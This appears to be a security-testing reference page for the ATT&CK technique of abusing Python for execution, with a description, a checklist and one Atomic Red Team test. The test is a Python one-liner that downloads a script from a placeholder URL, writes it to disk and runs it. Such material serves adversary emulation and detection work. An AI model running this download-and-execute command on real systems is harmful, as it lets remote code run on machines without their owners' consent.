T1059.006 Python

T1059.006 Python

Sub-technique of: T1059

High-Level Description

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

Kill Chain Phase

• Execution (TA0002)

Platforms: ESXi, Linux, macOS, Windows

What to Check

• Identify if Python technique is applicable to target environment
• Check ESXi systems for indicators of Python
• Check Linux systems for indicators of Python
• Check macOS systems for indicators of Python
• Verify mitigations are bypassed or absent (4 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Execute shell script via python's command mode arguement

Download and execute shell script and write to file then execute locally using Python -c (command mode)

Supported Platforms: linux

which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'